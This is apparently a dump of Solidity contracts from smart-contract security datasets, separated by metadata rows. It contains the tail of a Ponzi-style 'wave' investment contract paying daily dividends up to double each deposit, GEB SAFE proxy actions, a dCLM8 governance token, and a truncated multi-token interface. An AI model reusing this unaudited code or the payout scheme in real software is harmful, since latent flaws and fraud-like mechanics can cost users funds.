msg.sender.transfer(_payout * 17 / 20);
emit LogPayment(msg.sender, _payout * 17 / 20);
}
if (block.timestamp >= lastLeader + 1 days && top.length >= 5) {
payDay();
}
}
function nextWave() private {
top.length = 0;
x = new Storage();
waveStartUp = block.timestamp + 10 days;
emit LogNewWave(waveStartUp);
}
function getDeposits(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
Invested = _sum;
}
function getDepositN(address _address, uint _number) public view returns(uint Deposit_N) {
if (x.w(_address, _number - 1) < x.d(_address, _number - 1) * 2) {
Deposit_N = x.d(_address, _number - 1);
} else {
Deposit_N = 0;
}
}
function getDividends(address _address) public view returns(uint Dividends) {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(_address) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
if (x.s(_address, i) <= x.c(_address)) {
uint dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.c(_address).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
if (x.s(_address, i) + 2 days >= block.timestamp) {
dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.s(_address, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
dividends = (x.d(_address, i).mul(x.i(_address, i)).div(1000)).mul(block.timestamp.sub(x.s(_address, i))).div(1 days);
_payout = _payout.add(dividends);
}
}
}
}
Dividends = _payout * 17 / 20;
}
function getWithdrawals(address _address) external view returns(uint) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
_sum += x.w(_address, i);
}
return(_sum);
}
function getTop() external view returns(address, address, address, address, address) {
return(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function getJackPot() external view returns(uint) {
return(jackPot);
}
function getNextPayDay() external view returns(uint) {
return(lastLeader + 1 days);
}
}
| 335,874 | 10,547 |
9739ba3472bc65e78069dddcc8ea855833e7469b5049bd1ea2583e343ea52b74
| 21,382 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x16b0bf0bf031a3691f4bd600e5340fedd149c0ed.sol
| 5,077 | 20,767 |
pragma solidity 0.6.7;
abstract contract CollateralLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
abstract contract ManagerLike {
function safeCan(address, uint, address) virtual public view returns (uint);
function collateralTypes(uint) virtual public view returns (bytes32);
function ownsSAFE(uint) virtual public view returns (address);
function safes(uint) virtual public view returns (address);
function safeEngine() virtual public view returns (address);
function openSAFE(bytes32, address) virtual public returns (uint);
function transferSAFEOwnership(uint, address) virtual public;
function allowSAFE(uint, address, uint) virtual public;
function allowHandler(address, uint) virtual public;
function modifySAFECollateralization(uint, int, int) virtual public;
function transferCollateral(uint, address, uint) virtual public;
function transferInternalCoins(uint, address, uint) virtual public;
function quitSystem(uint, address) virtual public;
function enterSystem(address, uint) virtual public;
function moveSAFE(uint, uint) virtual public;
function protectSAFE(uint, address, address) virtual public;
}
abstract contract SAFEEngineLike {
function canModifySAFE(address, address) virtual public view returns (uint);
function collateralTypes(bytes32) virtual public view returns (uint, uint, uint, uint, uint);
function coinBalance(address) virtual public view returns (uint);
function safes(bytes32, address) virtual public view returns (uint, uint);
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function approveSAFEModification(address) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
}
abstract contract CollateralJoinLike {
function decimals() virtual public returns (uint);
function collateral() virtual public returns (CollateralLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract GNTJoinLike {
function bags(address) virtual public view returns (address);
function make(address) virtual public returns (address);
}
abstract contract DSTokenLike {
function balanceOf(address) virtual public view returns (uint);
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public returns (bool);
function transferFrom(address, address, uint) virtual public returns (bool);
}
abstract contract WethLike {
function balanceOf(address) virtual public view returns (uint);
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
abstract contract CoinJoinLike {
function safeEngine() virtual public returns (SAFEEngineLike);
function systemCoin() virtual public returns (DSTokenLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract ApproveSAFEModificationLike {
function approveSAFEModification(address) virtual public;
function denySAFEModification(address) virtual public;
}
abstract contract GlobalSettlementLike {
function collateralCashPrice(bytes32) virtual public view returns (uint);
function redeemCollateral(bytes32, uint) virtual public;
function freeCollateral(bytes32) virtual public;
function prepareCoinsForRedeeming(uint) virtual public;
function processSAFE(bytes32, address) virtual public;
}
abstract contract TaxCollectorLike {
function taxSingle(bytes32) virtual public returns (uint);
}
abstract contract CoinSavingsAccountLike {
function savings(address) virtual public view returns (uint);
function updateAccumulatedRate() virtual public returns (uint);
function deposit(uint) virtual public;
function withdraw(uint) virtual public;
}
abstract contract ProxyRegistryLike {
function proxies(address) virtual public view returns (address);
function build(address) virtual public returns (address);
}
abstract contract ProxyLike {
function owner() virtual public view returns (address);
}
contract Common {
uint256 constant RAY = 10 ** 27;
function multiply(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "mul-overflow");
}
function _coinJoin_join(address apt, address safeHandler, uint wad) internal {
CoinJoinLike(apt).systemCoin().approve(apt, wad);
CoinJoinLike(apt).join(safeHandler, wad);
}
function coinJoin_join(address apt, address safeHandler, uint wad) public {
CoinJoinLike(apt).systemCoin().transferFrom(msg.sender, address(this), wad);
_coinJoin_join(apt, safeHandler, wad);
}
}
contract BasicActions is Common {
function subtract(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "sub-overflow");
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = multiply(wad, 10 ** 27);
}
function convertTo18(address collateralJoin, uint256 amt) internal returns (uint256 wad) {
uint decimals = CollateralJoinLike(collateralJoin).decimals();
wad = amt;
if (decimals < 18) {
wad = multiply(amt,
10 ** (18 - decimals));
} else if (decimals > 18) {
wad = amt / 10 ** (decimals - 18);
}
}
function _getGeneratedDeltaDebt(address safeEngine,
address taxCollector,
address safeHandler,
bytes32 collateralType,
uint wad) internal returns (int deltaDebt) {
uint rate = TaxCollectorLike(taxCollector).taxSingle(collateralType);
require(rate > 0, "invalid-collateral-type");
uint coin = SAFEEngineLike(safeEngine).coinBalance(safeHandler);
if (coin < multiply(wad, RAY)) {
deltaDebt = toInt(subtract(multiply(wad, RAY), coin) / rate);
deltaDebt = multiply(uint(deltaDebt), rate) < multiply(wad, RAY) ? deltaDebt + 1 : deltaDebt;
}
}
function _getRepaidDeltaDebt(address safeEngine,
uint coin,
address safe,
bytes32 collateralType) internal view returns (int deltaDebt) {
(, uint rate,,,) = SAFEEngineLike(safeEngine).collateralTypes(collateralType);
require(rate > 0, "invalid-collateral-type");
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safe);
deltaDebt = toInt(coin / rate);
deltaDebt = uint(deltaDebt) <= generatedDebt ? - deltaDebt : - toInt(generatedDebt);
}
function _getRepaidAlDebt(address safeEngine,
address usr,
address safe,
bytes32 collateralType) internal view returns (uint wad) {
(, uint rate,,,) = SAFEEngineLike(safeEngine).collateralTypes(collateralType);
(, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralType, safe);
uint coin = SAFEEngineLike(safeEngine).coinBalance(usr);
uint rad = subtract(multiply(generatedDebt, rate), coin);
wad = rad / RAY;
wad = multiply(wad, RAY) < rad ? wad + 1 : wad;
}
function _generateDebt(address manager, address taxCollector, address coinJoin, uint safe, uint wad, address to) internal {
address safeHandler = ManagerLike(manager).safes(safe);
address safeEngine = ManagerLike(manager).safeEngine();
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
modifySAFECollateralization(manager, safe, 0, _getGeneratedDeltaDebt(safeEngine, taxCollector, safeHandler, collateralType, wad));
transferInternalCoins(manager, safe, address(this), toRad(wad));
if (SAFEEngineLike(safeEngine).canModifySAFE(address(this), address(coinJoin)) == 0) {
SAFEEngineLike(safeEngine).approveSAFEModification(coinJoin);
}
CoinJoinLike(coinJoin).exit(to, wad);
}
function _lockETH(address manager,
address ethJoin,
uint safe,
uint value) internal {
ethJoin_join(ethJoin, address(this), value);
SAFEEngineLike(ManagerLike(manager).safeEngine()).modifySAFECollateralization(ManagerLike(manager).collateralTypes(safe),
ManagerLike(manager).safes(safe),
address(this),
address(this),
toInt(value),
0);
}
function _repayDebt(address manager,
address coinJoin,
uint safe,
uint wad,
bool transferFromCaller) internal {
address safeEngine = ManagerLike(manager).safeEngine();
address safeHandler = ManagerLike(manager).safes(safe);
bytes32 collateralType = ManagerLike(manager).collateralTypes(safe);
address own = ManagerLike(manager).ownsSAFE(safe);
if (own == address(this) || ManagerLike(manager).safeCan(own, safe, address(this)) == 1) {
if (transferFromCaller) coinJoin_join(coinJoin, safeHandler, wad);
else _coinJoin_join(coinJoin, safeHandler, wad);
modifySAFECollateralization(manager, safe, 0, _getRepaidDeltaDebt(safeEngine, SAFEEngineLike(safeEngine).coinBalance(safeHandler), safeHandler, collateralType));
} else {
if (transferFromCaller) coinJoin_join(coinJoin, address(this), wad);
else _coinJoin_join(coinJoin, address(this), wad);
SAFEEngineLike(safeEngine).modifySAFECollateralization(collateralType,
safeHandler,
address(this),
address(this),
0,
_getRepaidDeltaDebt(safeEngine, wad * RAY, safeHandler, collateralType));
}
}
function _repayDebtAndFreeETH(address manager,
address ethJoin,
address coinJoin,
uint safe,
uint collateralWad,
uint deltaWad,
bool transferFromCaller) internal {
address safeHandler = ManagerLike(manager).safes(safe);
if (transferFromCaller) coinJoin_join(coinJoin, safeHandler, deltaWad);
else _coinJoin_join(coinJoin, safeHandler, deltaWad);
modifySAFECollateralization(manager,
safe,
-toInt(collateralWad),
_getRepaidDeltaDebt(ManagerLike(manager).safeEngine(), SAFEEngineLike(ManagerLike(manager).safeEngine()).coinBalance(safeHandler), safeHandler, ManagerLike(manager).collateralTypes(safe)));
transferCollateral(manager, safe, address(this), collateralWad);
CollateralJoinLike(ethJoin).exit(address(this), collateralWad);
CollateralJoinLike(ethJoin).collateral().withdraw(collateralWad);
}
function transfer(address collateral, address dst, uint amt) external {
CollateralLike(collateral).transfer(dst, amt);
}
function ethJoin_join(address apt, address safe) external payable {
ethJoin_join(apt, safe, msg.value);
}
function ethJoin_join(address apt, address safe, uint value) public payable {
CollateralJoinLike(apt).collateral().deposit{value: value}();
CollateralJoinLike(apt).collateral().approve(address(apt), value);
CollateralJoinLike(apt).join(safe, value);
}
function approveSAFEModification(address safeEngine,
address usr) external {
ApproveSAFEModificationLike(safeEngine).approveSAFEModification(usr);
}
function denySAFEModification(address safeEngine,
address usr) external {
ApproveSAFEModificationLike(safeEngine).denySAFEModification(usr);
}
function openSAFE(address manager,
bytes32 collateralType,
address usr) public returns (uint safe) {
safe = ManagerLike(manager).openSAFE(collateralType, usr);
}
function transferSAFEOwnership(address manager,
uint safe,
address usr) public {
ManagerLike(manager).transferSAFEOwnership(safe, usr);
}
function transferSAFEOwnershipToProxy(address proxyRegistry,
address manager,
uint safe,
address dst) external {
address proxy = ProxyRegistryLike(proxyRegistry).proxies(dst);
if (proxy == address(0) || ProxyLike(proxy).owner() != dst) {
uint csize;
assembly {
csize := extcodesize(dst)
}
require(csize == 0, "dst-is-a-contract");
proxy = ProxyRegistryLike(proxyRegistry).build(dst);
}
transferSAFEOwnership(manager, safe, proxy);
}
function allowSAFE(address manager,
uint safe,
address usr,
uint ok) external {
ManagerLike(manager).allowSAFE(safe, usr, ok);
}
function allowHandler(address manager,
address usr,
uint ok) external {
ManagerLike(manager).allowHandler(usr, ok);
}
function transferCollateral(address manager,
uint safe,
address dst,
uint wad) public {
ManagerLike(manager).transferCollateral(safe, dst, wad);
}
function transferInternalCoins(address manager,
uint safe,
address dst,
uint rad) public {
ManagerLike(manager).transferInternalCoins(safe, dst, rad);
}
function modifySAFECollateralization(address manager,
uint safe,
int deltaCollateral,
int deltaDebt) public {
ManagerLike(manager).modifySAFECollateralization(safe, deltaCollateral, deltaDebt);
}
function quitSystem(address manager,
uint safe,
address dst) external {
ManagerLike(manager).quitSystem(safe, dst);
}
function enterSystem(address manager,
address src,
uint safe) external {
ManagerLike(manager).enterSystem(src, safe);
}
function moveSAFE(address manager,
uint safeSrc,
uint safeDst) external {
ManagerLike(manager).moveSAFE(safeSrc, safeDst);
}
function lockETH(address manager,
address ethJoin,
uint safe) public payable {
_lockETH(manager, ethJoin, safe, msg.value);
}
function freeETH(address manager,
address ethJoin,
uint safe,
uint wad) public {
modifySAFECollateralization(manager, safe, -toInt(wad), 0);
transferCollateral(manager, safe, address(this), wad);
CollateralJoinLike(ethJoin).exit(address(this), wad);
CollateralJoinLike(ethJoin).collateral().withdraw(wad);
msg.sender.transfer(wad);
}
function exitETH(address manager,
address ethJoin,
uint safe,
uint wad) external {
transferCollateral(manager, safe, address(this), wad);
CollateralJoinLike(ethJoin).exit(address(this), wad);
CollateralJoinLike(ethJoin).collateral().withdraw(wad);
msg.sender.transfer(wad);
}
function generateDebt(address manager,
address taxCollector,
address coinJoin,
uint safe,
uint wad) public {
_generateDebt(manager, taxCollector, coinJoin, safe, wad, msg.sender);
}
function repayDebt(address manager,
address coinJoin,
uint safe,
uint wad) public {
_repayDebt(manager, coinJoin, safe, wad, true);
}
function lockETHAndGenerateDebt(address manager,
address taxCollector,
address ethJoin,
address coinJoin,
uint safe,
uint deltaWad) public payable {
_lockETH(manager, ethJoin, safe, msg.value);
_generateDebt(manager, taxCollector, coinJoin, safe, deltaWad, msg.sender);
}
function openLockETHAndGenerateDebt(address manager,
address taxCollector,
address ethJoin,
address coinJoin,
bytes32 collateralType,
uint deltaWad) external payable returns (uint safe) {
safe = openSAFE(manager, collateralType, address(this));
lockETHAndGenerateDebt(manager, taxCollector, ethJoin, coinJoin, safe, deltaWad);
}
function repayDebtAndFreeETH(address manager,
address ethJoin,
address coinJoin,
uint safe,
uint collateralWad,
uint deltaWad) external {
_repayDebtAndFreeETH(manager, ethJoin, coinJoin, safe, collateralWad, deltaWad, true);
msg.sender.transfer(collateralWad);
}
}
abstract contract AccountingEngineLike {
function debtAuctionHouse() external virtual returns (address);
function surplusAuctionHouse() external virtual returns (address);
function auctionDebt() external virtual returns (uint256);
function auctionSurplus() external virtual returns (uint256);
}
abstract contract DebtAuctionHouseLike {
function bids(uint) external virtual returns (uint, uint, address, uint48, uint48);
function decreaseSoldAmount(uint256, uint256, uint256) external virtual;
function restartAuction(uint256) external virtual;
function settleAuction(uint256) external virtual;
function protocolToken() external virtual returns (address);
}
abstract contract SurplusAuctionHouseLike {
function bids(uint) external virtual returns (uint, uint, address, uint48, uint48);
function increaseBidSize(uint256 id, uint256 amountToBuy, uint256 bid) external virtual;
function restartAuction(uint256) external virtual;
function settleAuction(uint256) external virtual;
function protocolToken() external virtual returns (address);
}
contract AuctionCommon {
function claimProxyFunds(address tokenAddress) public {
DSTokenLike token = DSTokenLike(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function claimProxyFunds(address[] memory tokenAddresses) public {
for (uint i = 0; i < tokenAddresses.length; i++)
claimProxyFunds(tokenAddresses[i]);
}
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
function toWad(uint rad) internal pure returns (uint wad) {
wad = rad / 10**27;
}
}
contract GebProxySurplusAuctionActions is Common, AuctionCommon {
function startAndIncreaseBidSize(address accountingEngineAddress, uint bidSize) public {
AccountingEngineLike accountingEngine = AccountingEngineLike(accountingEngineAddress);
SurplusAuctionHouseLike surplusAuctionHouse = SurplusAuctionHouseLike(accountingEngine.surplusAuctionHouse());
DSTokenLike protocolToken = DSTokenLike(surplusAuctionHouse.protocolToken());
uint auctionId = accountingEngine.auctionSurplus();
require(protocolToken.transferFrom(msg.sender, address(this), bidSize), "geb-proxy-auction-actions/transfer-from-failed");
protocolToken.approve(address(surplusAuctionHouse), bidSize);
(, uint amountToSell,,,) = surplusAuctionHouse.bids(auctionId);
surplusAuctionHouse.increaseBidSize(auctionId, amountToSell, bidSize);
}
function increaseBidSize(address auctionHouse, uint auctionId, uint bidSize) public {
SurplusAuctionHouseLike surplusAuctionHouse = SurplusAuctionHouseLike(auctionHouse);
DSTokenLike protocolToken = DSTokenLike(surplusAuctionHouse.protocolToken());
require(protocolToken.transferFrom(msg.sender, address(this), bidSize), "geb-proxy-auction-actions/transfer-from-failed");
protocolToken.approve(address(surplusAuctionHouse), bidSize);
(, uint amountToSell,, uint48 bidExpiry, uint48 auctionDeadline) = surplusAuctionHouse.bids(auctionId);
if (auctionDeadline < now && bidExpiry == 0 && auctionDeadline > 0) {
surplusAuctionHouse.restartAuction(auctionId);
}
surplusAuctionHouse.increaseBidSize(auctionId, amountToSell, bidSize);
}
function settleAuction(address coinJoin, address auctionHouse, uint auctionId) public {
SurplusAuctionHouseLike surplusAuctionHouse = SurplusAuctionHouseLike(auctionHouse);
SAFEEngineLike safeEngine = SAFEEngineLike(CoinJoinLike(coinJoin).safeEngine());
(, uint amountToBuy,,,) = surplusAuctionHouse.bids(auctionId);
surplusAuctionHouse.settleAuction(auctionId);
if (safeEngine.canModifySAFE(address(this), address(coinJoin)) == 0) {
safeEngine.approveSAFEModification(address(coinJoin));
}
CoinJoinLike(coinJoin).exit(msg.sender, toWad(amountToBuy));
claimProxyFunds(surplusAuctionHouse.protocolToken());
}
}
| 275,992 | 10,548 |
b56d3e9095adf82e93ab079060ccd5dbedc687d5d3ae36e0b0c8dce29f5fc3ba
| 18,950 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/64/64197Ed54e8C63F99D5d2A9b2b3007BCA55376A3_DAOToken.sol
| 3,389 | 13,586 |
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: BSD-3-Clause
// Modified to work in the NetEmissionsTokenNetwork system
contract DAOToken {
/// @notice EIP-20 token name for this token
string public constant name = "Climate DAO Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "dCLM8";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public totalSupply = 10000000e18; // 10 million dCLM8
/// @notice Initial holder of all DAO tokens
address public initialHolder;
/// @notice Governor to be set after deploy for permissions to burn tokens (only set once)
address public governor = address(0);
/// @dev Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
/// @dev Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner,
address indexed spender,
uint256 amount);
constructor(address account) {
balances[account] = uint96(totalSupply);
initialHolder = account;
emit Transfer(address(0), account, totalSupply);
}
function allowance(address account, address spender)
external
view
returns (uint256)
{
return allowances[account][spender];
}
function approve(address spender, uint256 rawAmount)
external
returns (bool)
{
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount,
"dCLM8::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
function transfer(address dst, uint256 rawAmount) external returns (bool) {
if ((msg.sender != initialHolder) && (msg.sender != governor)) {
revert("dCLM8::transfer: sender must be initial holder or DAO governor");
}
uint96 amount = safe96(rawAmount,
"dCLM8::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src,
address dst,
uint256 rawAmount) external returns (bool) {
if ((src != initialHolder) && (src != governor)) {
revert("dCLM8::transfer: sender must be initial holder or DAO governor");
}
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount,
"dCLM8::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance,
amount,
"dCLM8::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),
"dCLM8::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++,
"dCLM8::delegateBySig: invalid nonce");
require(block.timestamp <= expiry,
"dCLM8::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber)
public
view
returns (uint96)
{
require(blockNumber < block.number,
"dCLM8::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _burn(address account, uint96 amount) external {
require(account != address(0),
"dCLM8::_burn: burn from the zero address");
require(msg.sender == governor, "dCLM8::_burn: must be governor");
uint96 accountBalance = balances[account];
require(accountBalance >= amount,
"dCLM8::_burn: burn amount exceeds balance");
balances[account] = accountBalance - amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src,
address dst,
uint96 amount) internal {
require(src != address(0),
"dCLM8::_transferTokens: cannot transfer from the zero address");
require(dst != address(0),
"dCLM8::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src],
amount,
"dCLM8::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst],
amount,
"dCLM8::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
// If dst address has no delgatees, automatically set to self. Otherwise, transfer to dst's delegates
if (delegates[dst] == address(0)) {
_delegate(dst, dst);
} else {
_moveDelegates(delegates[src], delegates[dst], amount);
}
}
function _lockTokens(address src, uint96 amount) external {
require(msg.sender == governor, "dCLM8::lockTokens: must be governor");
balances[src] = sub96(balances[src],
amount,
"dCLM8::_transferTokens: transfer amount exceeds balance");
balances[governor] = add96(balances[governor],
amount,
"dCLM8::_transferTokens: transfer amount overflows");
emit Transfer(src, governor, amount);
}
function _moveDelegates(address srcRep,
address dstRep,
uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint96 srcRepNew = sub96(srcRepOld,
amount,
"dCLM8::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint96 dstRepNew = add96(dstRepOld,
amount,
"dCLM8::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number,
"dCLM8::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber,
newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage)
internal
pure
returns (uint96)
{
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a,
uint96 b,
string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a,
uint96 b,
string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
function addToTotalSupply(uint256 amount) public {
if ((msg.sender != initialHolder) && (msg.sender != governor)) {
revert("dCLM8::addToTotalSupply: must be initial holder or DAO governor");
}
uint96 _amount = safe96(amount,
"dCLM8::addToTotalSupply: amount exceeds 96 bits");
balances[msg.sender] = add96(balances[msg.sender],
_amount,
"dCLM8::addToTotalSupply: amount overflows");
totalSupply += amount;
// also need to sync the delegate checkpoint
_moveDelegates(address(0), msg.sender, _amount);
}
function getTotalSupply() external view returns (uint256) {
return totalSupply;
}
function getInitialHolder() external view returns (address) {
return initialHolder;
}
function setGovernor(address newGovernor) public {
require(msg.sender == initialHolder,
"dCLM8::setGovernor: must be initial holder");
governor = newGovernor;
}
}
| 118,929 | 10,549 |
fdd09211ebf298a0bc832d9a79bd7f17632c8febbc963b834de9fc5623e8865c
| 16,697 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1e8ffb58526e804137b136f94b785f9017724b62.sol
| 4,136 | 14,405 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: contracts/interface/IBasicMultiToken.sol
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
